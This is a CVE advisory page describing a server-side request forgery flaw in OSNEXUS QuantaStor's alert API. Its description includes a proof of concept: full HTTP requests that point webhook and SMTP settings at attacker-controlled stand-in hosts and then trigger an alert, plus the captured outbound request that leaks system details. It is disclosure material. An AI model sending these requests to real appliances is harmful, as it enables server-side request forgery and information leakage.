CVE-2021-42079
Published: Jul 10, 2023
Modified: Sep 22, 2025
CVSS v3.1
6.2
Description
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
| Vendor | Product | Versions |
|---|---|---|
OSNEXUS | QuantaStor | affected 0 - < 6.0.0.355 |
Weaknesses (CWE)
CVSS v3.1 Details
CVSS v3.1 Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
Attack Vector
Attack Complexity
Privileges Required
User Interaction
Scope
Confidentiality
Integrity
Availability
References
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